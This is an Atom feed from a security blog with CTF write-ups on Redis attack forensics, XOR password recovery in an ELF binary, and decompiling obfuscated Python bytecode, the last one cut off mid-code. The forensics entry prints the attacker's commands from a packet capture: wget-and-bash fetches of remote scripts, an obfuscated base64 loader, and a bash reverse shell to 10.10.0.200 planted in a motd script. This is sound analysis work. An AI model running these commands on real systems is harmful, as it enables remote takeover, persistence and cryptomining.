<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="4.4.1">Jekyll</generator><link href="https://yisdown.github.io/feed.xml" rel="self" type="application/atom+xml" /><link href="https://yisdown.github.io/" rel="alternate" type="text/html" /><updated>2026-07-31T10:23:33+00:00</updated><id>https://yisdown.github.io/feed.xml</id><title type="html">Y_isDown</title><subtitle>Cyber Security research, CTF write-ups, and vulnerability analysis</subtitle><author><name>Y_isDown</name></author><entry><title type="html">Rebuilding</title><link href="https://yisdown.github.io/web/2026/07/08/novaenergy/" rel="alternate" type="text/html" title="Rebuilding" /><published>2026-07-08T00:00:00+00:00</published><updated>2026-07-08T00:00:00+00:00</updated><id>https://yisdown.github.io/web/2026/07/08/novaenergy</id><content type="html" xml:base="https://yisdown.github.io/web/2026/07/08/novaenergy/"><![CDATA[<h2 id="analysis">Analysis</h2>

<h2 id="exploitation">Exploitation</h2>

<h2 id="flag">Flag</h2>

<p>``</p>]]></content><author><name>Y_isDown</name></author><category term="Web" /></entry><entry><title type="html">RedTrails</title><link href="https://yisdown.github.io/forensics/2026/07/08/redTrails/" rel="alternate" type="text/html" title="RedTrails" /><published>2026-07-08T00:00:00+00:00</published><updated>2026-07-08T00:00:00+00:00</updated><id>https://yisdown.github.io/forensics/2026/07/08/redTrails</id><content type="html" xml:base="https://yisdown.github.io/forensics/2026/07/08/redTrails/"><![CDATA[<h2 id="analysis">Analysis</h2>

<p>We are provided with a packet capture file:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
</pre></td><td class="rouge-code"><pre><span class="nv">$ </span>file capture.pcap
capture.pcap: pcapng capture file
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Opening the file in Wireshark and filtering for RESP (Redis Serialization Protocol) traffic reveals malicious Redis activity.</p>

<p>There are only a few packets, so we can follow the TCP stream and see what we have.</p>

<h2 id="flag-part-2">Flag Part 2</h2>

<p>Following TCP Stream 0 reveals Redis commands showing a user table. The attacker appears to have gained access to a Redis instance and is performing reconnaissance.</p>

<p>Within the Redis command responses, I found a flag fragment:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>FLAG_PART: _c0uld_0p3n_n3w
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Further down the stream, I spotted the attacker downloading and executing a malicious script:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>wget <span class="nt">-O</span> VgLy8V0Zxo <span class="s1">'http://files.pypi-install.com/packages/VgLy8V0Zxo'</span> <span class="o">&amp;&amp;</span> bash VgLy8V0Zx
</pre></td></tr></tbody></table></code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">Flag Part 2: _c0uld_0p3n_n3w</code></p>

<h2 id="flag-part-1">Flag Part 1</h2>

<p>Moving to TCP Stream 1, I encountered a heavily obfuscated Bash script. To decrypt it, I reversed the text and decoded it using Base64.</p>

<p><img src="/assets/img/htb/redtrail1.png" alt="flag1" /></p>

<p>The script was split across multiple variables that were concatenated into another Base64-encoded string:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
</pre></td><td class="rouge-code"><pre>lhJVXukWibAFfkv<span class="o">()</span> <span class="o">{</span>
    <span class="nv">ABvnz</span><span class="o">=</span><span class="s1">'ZWNobyAnYmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3R'</span>
    <span class="nv">QOPjH</span><span class="o">=</span><span class="s1">'jcP8xMC4xMC4wLjIwMC8xMzM3IDA+JjEiJyA+IC9'</span>
    <span class="nv">gQIxX</span><span class="o">=</span><span class="s1">'ldGMvdXBkYXRlLW1vdGQuZC8wMC1oZWFkZXIK'</span>
    <span class="nb">echo</span> <span class="s2">"</span><span class="nv">$ABvnz$QOPjH$gQIxX</span><span class="s2">"</span> | <span class="nb">base64</span> <span class="nt">--decode</span> | bash
<span class="o">}</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>I decoded the Base64 string:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre><span class="nb">echo</span> <span class="s2">"ZWNobyAnYmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4wLjIwMC8xMzM3IDA+JjEiJyA+IC9ldGMvdXBkYXRlLW1vdGQuZC8wMC1oZWFkZXIK"</span> | <span class="nb">base64</span> <span class="nt">-d</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>This revealed:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre><span class="nb">echo</span> <span class="s1">'bash -c "bash -i &gt;&amp; /dev/tcp/10.10.0.200/1337 0&gt;&amp;1"'</span> <span class="o">&gt;</span> /etc/update-motd.d/00-header
</pre></td></tr></tbody></table></code></pre></div></div>

<p>The attacker was establishing a reverse shell to <code class="language-plaintext highlighter-rouge">10.10.0.200:1337</code>.</p>

<p>Decoding the second function revealed an SSH key being added to <code class="language-plaintext highlighter-rouge">~/.ssh/authorized_keys</code> for persistence, along with another flag fragment.</p>

<p><code class="language-plaintext highlighter-rouge">Flag Part 1: HTB{r3d15_1n574nc35</code></p>

<h2 id="flag-part-3">Flag Part 3</h2>

<p>TCP Stream 2 revealed the complete Redis exploitation sequence:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
</pre></td><td class="rouge-code"><pre>Authentication

Setting Up Replication

Configuring Malicious Module

Loading the Module

Restoring Redis

Executing Commands
</pre></td></tr></tbody></table></code></pre></div></div>

<p>The attacker executed several commands using <code class="language-plaintext highlighter-rouge">system.exec</code>:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="rouge-code"><pre>system.exec rm -v ./x10SPFHN.so
system.exec uname -a
system.exec wget --no-check-certificate -O gezsdSC8i3 'https://files.pypi-install.com/packages/gezsdSC8i3' &amp;&amp; bash gezsdSC8i3
</pre></td></tr></tbody></table></code></pre></div></div>

<p>The outputs of these commands were encrypted, appearing as long hex strings. The final encrypted output was:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>394810bbd00d01baa64e1da65ad18dcbe7d1ca585d429847e0fe1c4f76ff3cf49fcc4943e9dd339c5cbac2fd876c21d37b4ea3c014fe679f81cd9a546a7a324c6958b87785237671b3331ae9a54d126f78c916de74c154a1915a963edffdb357af5d7cfdb85b200fdeb35f4f508367081e31e3094c15e2a683865bb05b04a36b19202ab49c5ebffcec7698d5f2e344c5d9da608c5c2506c689c1fc4a492bec4dd4db33becb17d631c0fdd7e642c20ffa7e987d2851c532e77bdfb094c0cfcd228499c57ea257f305c367b813bc4d4cf937136e02398ce7cb3c26f16f3c6fc22a2b43795d41260b46d8bdf0432aaefbcc863880571952510bf3d98919219ab49e86974f11a81fff5ff85734601e79c2c2d754e3fe7a6cfcec8349ceb350ea7145f87b86f7e65543268c8ae76cb54bef1885b01b222841da59a377140ae6bd544cc47ac550a865af84f5b31df6a21e7816ed163260f47ea16a64f153be1399911a99fd71b30689b961477db551c9bc2cdc1aa6b931ba2852af1e297ee66fb99381ab916b377358243152f1f3abba9f7ad700ba873b53dc2f98642f47580d7ef5d3e3b32b3c4a9a53689c68a5911a6258f2da92ca30661ebef77109e1e44f3aa6665f6734af7d3d721201e3d31c61d4da562cef34f66dd7f88fb639b2aaf4444952
</pre></td></tr></tbody></table></code></pre></div></div>

<p>TCP Stream 6 contained the Redis replication data. After the <code class="language-plaintext highlighter-rouge">FULLRESYNC</code> command, Redis sent an <code class="language-plaintext highlighter-rouge">.rdb</code> file containing the malicious <code class="language-plaintext highlighter-rouge">x10SPFHN.so</code> module.</p>

<p>I looked through the stream and found the following:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
</pre></td><td class="rouge-code"><pre>AES Key: h02B6aVgu09Kzu9QTvTOtgx9oER9WIoz

IV: YDP7ECjzuV7sagMN

Cipher: AES-256-CBC
</pre></td></tr></tbody></table></code></pre></div></div>

<p>The module was using OpenSSL’s EVP functions to encrypt command outputs, which explained the encrypted hex strings in Stream 2. Now we can decrypt the data and probably find the final part of the flag.</p>

<p>Using the extracted key and IV, I wrote a Python script to decrypt the encrypted output from Stream 2:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
</pre></td><td class="rouge-code"><pre><span class="kn">from</span> <span class="n">cryptography.hazmat.primitives.ciphers</span> <span class="kn">import</span> <span class="n">Cipher</span><span class="p">,</span> <span class="n">algorithms</span><span class="p">,</span> <span class="n">modes</span>
<span class="kn">import</span> <span class="n">binascii</span>

<span class="c1"># Encrypted output from Stream 2
</span><span class="n">ciphertext_hex</span> <span class="o">=</span> <span class="sh">"</span><span class="s">394810bbd00d01baa64e1da65ad18dcbe7d1ca585d429847e0fe1c4f76ff3cf49fcc4943e9dd339c5cbac2fd876c21d37b4ea3c014fe679f81cd9a546a7a324c6958b87785237671b3331ae9a54d126f78c916de74c154a1915a963edffdb357af5d7cfdb85b200fdeb35f4f508367081e31e3094c15e2a683865bb05b04a36b19202ab49c5ebffcec7698d5f2e344c5d9da608c5c2506c689c1fc4a492bec4dd4db33becb17d631c0fdd7e642c20ffa7e987d2851c532e77bdfb094c0cfcd228499c57ea257f305c367b813bc4d4cf937136e02398ce7cb3c26f16f3c6fc22a2b43795d41260b46d8bdf0432aaefbcc863880571952510bf3d98919219ab49e86974f11a81fff5ff85734601e79c2c2d754e3fe7a6cfcec8349ceb350ea7145f87b86f7e65543268c8ae76cb54bef1885b01b222841da59a377140ae6bd544cc47ac550a865af84f5b31df6a21e7816ed163260f47ea16a64f153be1399911a99fd71b30689b961477db551c9bc2cdc1aa6b931ba2852af1e297ee66fb99381ab916b377358243152f1f3abba9f7ad700ba873b53dc2f98642f47580d7ef5d3e3b32b3c4a9a53689c68a5911a6258f2da92ca30661ebef77109e1e44f3aa6665f6734af7d3d721201e3d31c61d4da562cef34f66dd7f88fb639b2aaf4444952</span><span class="sh">"</span>

<span class="n">ciphertext</span> <span class="o">=</span> <span class="n">binascii</span><span class="p">.</span><span class="nf">unhexlify</span><span class="p">(</span><span class="n">ciphertext_hex</span><span class="p">)</span>

<span class="c1"># Key and IV from the module
</span><span class="n">key</span> <span class="o">=</span> <span class="sa">b</span><span class="sh">"</span><span class="s">h02B6aVgu09Kzu9QTvTOtgx9oER9WIoz</span><span class="sh">"</span>
<span class="n">iv</span> <span class="o">=</span> <span class="sa">b</span><span class="sh">"</span><span class="s">YDP7ECjzuV7sagMN</span><span class="sh">"</span>

<span class="c1"># AES-256-CBC decryption
</span><span class="n">cipher</span> <span class="o">=</span> <span class="nc">Cipher</span><span class="p">(</span><span class="n">algorithms</span><span class="p">.</span><span class="nc">AES</span><span class="p">(</span><span class="n">key</span><span class="p">),</span> <span class="n">modes</span><span class="p">.</span><span class="nc">CBC</span><span class="p">(</span><span class="n">iv</span><span class="p">))</span>
<span class="n">decryptor</span> <span class="o">=</span> <span class="n">cipher</span><span class="p">.</span><span class="nf">decryptor</span><span class="p">()</span>
<span class="n">plaintext</span> <span class="o">=</span> <span class="n">decryptor</span><span class="p">.</span><span class="nf">update</span><span class="p">(</span><span class="n">ciphertext</span><span class="p">)</span> <span class="o">+</span> <span class="n">decryptor</span><span class="p">.</span><span class="nf">finalize</span><span class="p">()</span>

<span class="c1"># Remove PKCS#7 padding
</span><span class="n">padding_len</span> <span class="o">=</span> <span class="n">plaintext</span><span class="p">[</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>
<span class="n">plaintext</span> <span class="o">=</span> <span class="n">plaintext</span><span class="p">[:</span><span class="o">-</span><span class="n">padding_len</span><span class="p">]</span>

<span class="nf">print</span><span class="p">(</span><span class="n">plaintext</span><span class="p">.</span><span class="nf">decode</span><span class="p">(</span><span class="sh">"</span><span class="s">utf-8</span><span class="sh">"</span><span class="p">))</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>The decrypted output revealed:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
</pre></td><td class="rouge-code"><pre>--- Installing ethminer ---
--- Enabling automatically startup ---
--- Setting env ---
FLAG_PART=_un3xp3c73d_7r41l5!}
--- Success! ---
</pre></td></tr></tbody></table></code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">Flag Part 3: _un3xp3c73d_7r41l5!}</code></p>

<h2 id="flag">Flag</h2>

<p><code class="language-plaintext highlighter-rouge">HTB{r3d15_1n574nc35_c0uld_0p3n_n3w_un3xp3c73d_7r41l5!}</code></p>]]></content><author><name>Y_isDown</name></author><category term="Forensics" /><summary type="html"><![CDATA[Analyzing a multi-stage attack through Redis exploitation, reverse shell deployment and AES-256-CBC decryption.]]></summary></entry><entry><title type="html">Rebuilding</title><link href="https://yisdown.github.io/reverse%20engineering/2026/07/07/rebuilding/" rel="alternate" type="text/html" title="Rebuilding" /><published>2026-07-07T00:00:00+00:00</published><updated>2026-07-07T00:00:00+00:00</updated><id>https://yisdown.github.io/reverse%20engineering/2026/07/07/rebuilding</id><content type="html" xml:base="https://yisdown.github.io/reverse%20engineering/2026/07/07/rebuilding/"><![CDATA[<h2 id="analysis">Analysis</h2>

<p>First, I checked the file type and extracted the readable strings:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
</pre></td><td class="rouge-code"><pre><span class="nv">$ </span>file rebuilding
rebuilding: ELF 64-bit LSB executable, x86-64, version 1 <span class="o">(</span>SYSV<span class="o">)</span>, dynamically linked

<span class="nv">$ </span>strings rebuilding | <span class="nb">grep</span> <span class="nt">-i</span> <span class="s2">"password</span><span class="se">\|</span><span class="s2">correct</span><span class="se">\|</span><span class="s2">incorrect"</span>
The password is correct
The password is incorrect
Password length is incorrect
Missing required argument
Preparing secret keys
</pre></td></tr></tbody></table></code></pre></div></div>

<p>The binary expects one argument and checks whether it matches the correct password.</p>

<p>Loading the binary into Ghidra, I found the <code class="language-plaintext highlighter-rouge">main</code> function:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
</pre></td><td class="rouge-code"><pre><span class="n">undefined8</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">param_1</span><span class="p">,</span> <span class="kt">long</span> <span class="n">param_2</span><span class="p">)</span>
<span class="p">{</span>
    <span class="kt">int</span> <span class="n">__c</span><span class="p">;</span>
    <span class="kt">size_t</span> <span class="n">sVar1</span><span class="p">;</span>
    <span class="n">undefined8</span> <span class="n">uVar2</span><span class="p">;</span>
    <span class="kt">int</span> <span class="n">local_14</span><span class="p">;</span>
    <span class="kt">int</span> <span class="n">local_10</span><span class="p">;</span>
    <span class="kt">int</span> <span class="n">local_c</span><span class="p">;</span>

    <span class="k">if</span> <span class="p">(</span><span class="n">param_1</span> <span class="o">!=</span> <span class="mi">2</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">puts</span><span class="p">(</span><span class="s">"Missing required argument"</span><span class="p">);</span>
        <span class="n">exit</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">);</span>
    <span class="p">}</span>

    <span class="n">local_14</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
    <span class="n">sVar1</span> <span class="o">=</span> <span class="n">strlen</span><span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="kt">char</span> <span class="o">**</span><span class="p">)(</span><span class="n">param_2</span> <span class="o">+</span> <span class="mi">8</span><span class="p">));</span>

    <span class="k">if</span> <span class="p">(</span><span class="n">sVar1</span> <span class="o">==</span> <span class="mh">0x20</span><span class="p">)</span> <span class="p">{</span>  <span class="c1">// Password must be 32 characters</span>
        <span class="k">for</span> <span class="p">(</span><span class="n">local_10</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">local_10</span> <span class="o">&lt;</span> <span class="mh">0x20</span><span class="p">;</span> <span class="n">local_10</span> <span class="o">=</span> <span class="n">local_10</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
            <span class="c1">// Visual feedback (progress dots)</span>
            <span class="k">for</span> <span class="p">(</span><span class="n">local_c</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">local_c</span> <span class="o">&lt;</span> <span class="mi">6</span><span class="p">;</span> <span class="n">local_c</span> <span class="o">=</span> <span class="n">local_c</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
                <span class="k">if</span> <span class="p">(</span><span class="n">local_c</span> <span class="o">==</span> <span class="n">local_10</span> <span class="o">%</span> <span class="mi">6</span><span class="p">)</span> <span class="p">{</span>
                    <span class="n">__c</span> <span class="o">=</span> <span class="mh">0x2e</span><span class="p">;</span>  <span class="c1">// '.'</span>
                <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
                    <span class="n">__c</span> <span class="o">=</span> <span class="mh">0x20</span><span class="p">;</span>  <span class="c1">// space</span>
                <span class="p">}</span>
                <span class="n">putchar</span><span class="p">(</span><span class="n">__c</span><span class="p">);</span>
            <span class="p">}</span>
            <span class="n">fflush</span><span class="p">(</span><span class="n">stdout</span><span class="p">);</span>

            <span class="c1">// XOR comparison</span>
            <span class="n">local_14</span> <span class="o">=</span> <span class="n">local_14</span> <span class="o">+</span>
                <span class="p">(</span><span class="n">uint</span><span class="p">)((</span><span class="n">byte</span><span class="p">)(</span><span class="n">encrypted</span><span class="p">[</span><span class="n">local_10</span><span class="p">]</span> <span class="o">^</span> <span class="n">key</span><span class="p">[</span><span class="n">local_10</span> <span class="o">%</span> <span class="mi">6</span><span class="p">])</span> <span class="o">==</span>
                      <span class="o">*</span><span class="p">(</span><span class="n">byte</span> <span class="o">*</span><span class="p">)((</span><span class="kt">long</span><span class="p">)</span><span class="n">local_10</span> <span class="o">+</span> <span class="o">*</span><span class="p">(</span><span class="kt">long</span> <span class="o">*</span><span class="p">)(</span><span class="n">param_2</span> <span class="o">+</span> <span class="mi">8</span><span class="p">)));</span>

            <span class="n">usleep</span><span class="p">(</span><span class="mi">200000</span><span class="p">);</span>
        <span class="p">}</span>
        <span class="n">puts</span><span class="p">(</span><span class="s">""</span><span class="p">);</span>

        <span class="k">if</span> <span class="p">(</span><span class="n">local_14</span> <span class="o">==</span> <span class="mh">0x20</span><span class="p">)</span> <span class="p">{</span>
            <span class="n">puts</span><span class="p">(</span><span class="s">"The password is correct"</span><span class="p">);</span>
            <span class="n">uVar2</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
        <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
            <span class="n">puts</span><span class="p">(</span><span class="s">"The password is incorrect"</span><span class="p">);</span>
            <span class="n">uVar2</span> <span class="o">=</span> <span class="mh">0xffffffff</span><span class="p">;</span>
        <span class="p">}</span>
    <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
        <span class="n">puts</span><span class="p">(</span><span class="s">"Password length is incorrect"</span><span class="p">);</span>
        <span class="n">uVar2</span> <span class="o">=</span> <span class="mh">0xffffffff</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="k">return</span> <span class="n">uVar2</span><span class="p">;</span>
<span class="p">}</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>The password validation logic works as follows:</p>

<ol>
  <li>The password must be exactly 32 characters long.</li>
  <li>Each character is XORed with a key byte.</li>
  <li>The key is 6 characters long and is repeated cyclically.</li>
  <li>The encrypted data is stored in an array called <code class="language-plaintext highlighter-rouge">encrypted</code>.</li>
  <li>The comparison performed is:</li>
</ol>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>encrypted[i] XOR key[i % 6] == user_input[i]
</pre></td></tr></tbody></table></code></pre></div></div>

<h2 id="exploitation">Exploitation</h2>

<p>We first need to find the encrypted data and the key, then XOR them to recover the password.</p>

<p>The encrypted data is stored at address <code class="language-plaintext highlighter-rouge">0x00301020</code>:</p>

<pre><code class="language-asm">Address     Bytes
00301020    29 38 2b 1e 06 42 05 5d
00301028    07 02 31 10 51 08 5a 16
00301030    31 42 0f 33 0a 55 00 00
00301038    15 1e 1c 06 1a 43 13 59
00301039    14
</code></pre>

<p>The key appears to be stored immediately after the encrypted data at address <code class="language-plaintext highlighter-rouge">0x00301042</code>, where the string <code class="language-plaintext highlighter-rouge">humans</code> is located.</p>

<p>I used CyberChef to XOR the encrypted bytes (from hex) with this key:</p>

<p><img src="/assets/img/htb/key1.png" alt="flag1" /></p>

<p>The output was just garbage, so I continued analyzing the binary. After some more investigation, I discovered another function that is not called from <code class="language-plaintext highlighter-rouge">main</code>, where the real key is initialized:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
</pre></td><td class="rouge-code"><pre><span class="kt">void</span> <span class="nf">_INIT_1</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
<span class="p">{</span>
    <span class="n">puts</span><span class="p">(</span><span class="s">"Preparing secret keys"</span><span class="p">);</span>
    <span class="n">key</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="sc">'a'</span><span class="p">;</span>
    <span class="n">key</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="sc">'l'</span><span class="p">;</span>
    <span class="n">key</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span> <span class="o">=</span> <span class="sc">'i'</span><span class="p">;</span>
    <span class="n">key</span><span class="p">[</span><span class="mi">3</span><span class="p">]</span> <span class="o">=</span> <span class="sc">'e'</span><span class="p">;</span>
    <span class="n">key</span><span class="p">[</span><span class="mi">4</span><span class="p">]</span> <span class="o">=</span> <span class="sc">'n'</span><span class="p">;</span>
    <span class="n">key</span><span class="p">[</span><span class="mi">5</span><span class="p">]</span> <span class="o">=</span> <span class="sc">'s'</span><span class="p">;</span>
    <span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>The actual key is <code class="language-plaintext highlighter-rouge">aliens</code>.</p>

<p>Using this key instead, the XOR operation reveals the correct password:</p>

<p><img src="/assets/img/htb/key2.png" alt="flag2" /></p>

<h2 id="flag">Flag</h2>

<p><code class="language-plaintext highlighter-rouge">HTB{h1d1ng_c0d3s_1n_c0nstruct0r5}</code></p>]]></content><author><name>Y_isDown</name></author><category term="Reverse Engineering" /><summary type="html"><![CDATA[Reversing an ELF binary to recover a hidden XOR-encrypted password.]]></summary></entry><entry><title type="html">Snakecode</title><link href="https://yisdown.github.io/reverse%20engineering/2026/07/07/snakecode/" rel="alternate" type="text/html" title="Snakecode" /><published>2026-07-07T00:00:00+00:00</published><updated>2026-07-07T00:00:00+00:00</updated><id>https://yisdown.github.io/reverse%20engineering/2026/07/07/snakecode</id><content type="html" xml:base="https://yisdown.github.io/reverse%20engineering/2026/07/07/snakecode/"><![CDATA[<h2 id="analysis">Analysis</h2>

<p>In this Reverse Engineering challenge, we are provided with a Python bytecode file:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
</pre></td><td class="rouge-code"><pre><span class="nv">$ </span>file chall.pyc
chall.pyc: python 2.7 byte-compiled
</pre></td></tr></tbody></table></code></pre></div></div>

<p>I decided to use <code class="language-plaintext highlighter-rouge">uncompyle6</code> to decompile the Python bytecode:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
</pre></td><td class="rouge-code"><pre><span class="nv">$ </span>uncompyle6 chall.pyc
<span class="c"># uncompyle6 version 3.9.3</span>
<span class="c"># Python bytecode version base 2.7 (62211)</span>
<span class="c"># Decompiled from: Python 3.13.12</span>
<span class="c"># Embedded file name: ./snake_obf.py</span>
import marshal, types, <span class="nb">time

</span>ll <span class="o">=</span> types.FunctionType<span class="o">(</span>
    marshal.loads<span class="o">(</span>
        <span class="o">(</span><span class="s1">'YwEAAAABAAAABQAAAEMAAABzNAAAAHQAAGoBAHQCAGoDAHQEAGQBAIMBAGoFAHwAAGoGAGQCAIMB\n'</span>
         <span class="s1">'AIMBAIMBAHQHAIMAAIMCAFMoAwAAAE50BAAAAHpsaWJ0BgAAAGJhc2U2NCgIAAAAdAUAAAB0eXBl\n'</span>
         <span class="s1">'c3QMAAAARnVuY3Rpb25UeXBldAcAAABtYXJzaGFsdAUAAABsb2Fkc3QKAAAAX19pbXBvcnRfX3QK\n'</span>
         <span class="s1">'AAAAZGVjb21wcmVzc3QGAAAAZGVjb2RldAcAAABnbG9iYWxzKAEAAAB0AQAAAHMoAAAAACgAAAAA\n'</span>
         <span class="s1">'cwcAAAA8c3RkaW4+dAoAAABsb2FkTGFtYmRhAQAAAHQAAAAA\n'</span><span class="o">)</span>.decode<span class="o">(</span><span class="s1">'base64'</span><span class="o">)</span>
    <span class="o">)</span>,
    globals<span class="o">()</span>
<span class="o">)</span>

i0 <span class="o">=</span> ll<span class="o">(</span><span class="s1">'eJxLZoACJiB2BuJiLiBRwsCQwsjQzMgQrAES9ythA5JFiXkp+bkajCB5kKL4+Mzcgvyikvh4DZAB\nCKKYHUjYFJekZObZlXCA2DmJuUkpiXaMEKMZGAC+nBJh\n'</span><span class="o">)</span>
i1 <span class="o">=</span> ll<span class="o">(</span><span class="s1">'eJxLZoACJiB2BuJiLiBRwsCQwsjQzMgQrAES9ythA5LJpUXFqcUajCB5kKL4+Mzcgvyikvh4DZAB\nCKKYHUjYFJekZObZlXCA2DmJuUkpiXaMEKMZGADEORJ1\n'</span><span class="o">)</span>
f0 <span class="o">=</span> ll<span class="o">(</span><span class="s1">'eJxLZmRgYABhJiB2BuJiXiBRw8CQxcCQwsjQzMgQrAGS8ssEEgwaIJUl7CAiMzc1v7QEIsAMJMoz\n8zTASkBEMUiJTXFJSmaeXQkHiJ2TmJuUkmgHVg5SAQBjWRD5\n'</span><span class="o">)</span>
<span class="c"># ... many more encoded strings ...</span>

def snake<span class="o">(</span>w<span class="o">)</span>:
    r <span class="o">=</span> i0<span class="o">()</span>
    c <span class="o">=</span> i1<span class="o">()</span>
    f0<span class="o">(</span>w<span class="o">)</span>
    d <span class="o">=</span> <span class="o">(</span>0, 1<span class="o">)</span>
    p <span class="o">=</span> <span class="o">[(</span>5, 5<span class="o">)]</span>
    pl <span class="o">=</span> 1
    s <span class="o">=</span> 0
    l <span class="o">=</span> None
    <span class="k">while </span>1:
        p, d, pl, l, s, w, c, r <span class="o">=</span> m2<span class="o">(</span>p, d, pl, l, s, w, c, r<span class="o">)</span>
        time.sleep<span class="o">(</span>0.4<span class="o">)</span>
    <span class="k">return

</span>i1<span class="o">()</span>.wrapper<span class="o">(</span>snake<span class="o">)</span>
<span class="k">return</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>The decompiled code reveals a heavily obfuscated Python program. The important part is the loader function:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
</pre></td><td class="rouge-code"><pre><span class="n">ll</span> <span class="o">=</span> <span class="n">types</span><span class="p">.</span><span class="nc">FunctionType</span><span class="p">(</span>
    <span class="n">marshal</span><span class="p">.</span><span class="nf">loads</span><span class="p">(</span>
        <span class="p">(</span><span class="sh">'</span><span class="s">&lt;base64 blob&gt;</span><span class="sh">'</span><span class="p">).</span><span class="nf">decode</span><span class="p">(</span><span class="sh">'</span><span class="s">base64</span><span class="sh">'</span><span class="p">)</span>
    <span class="p">),</span>
    <span class="nf">globals</span><span class="p">()</span>
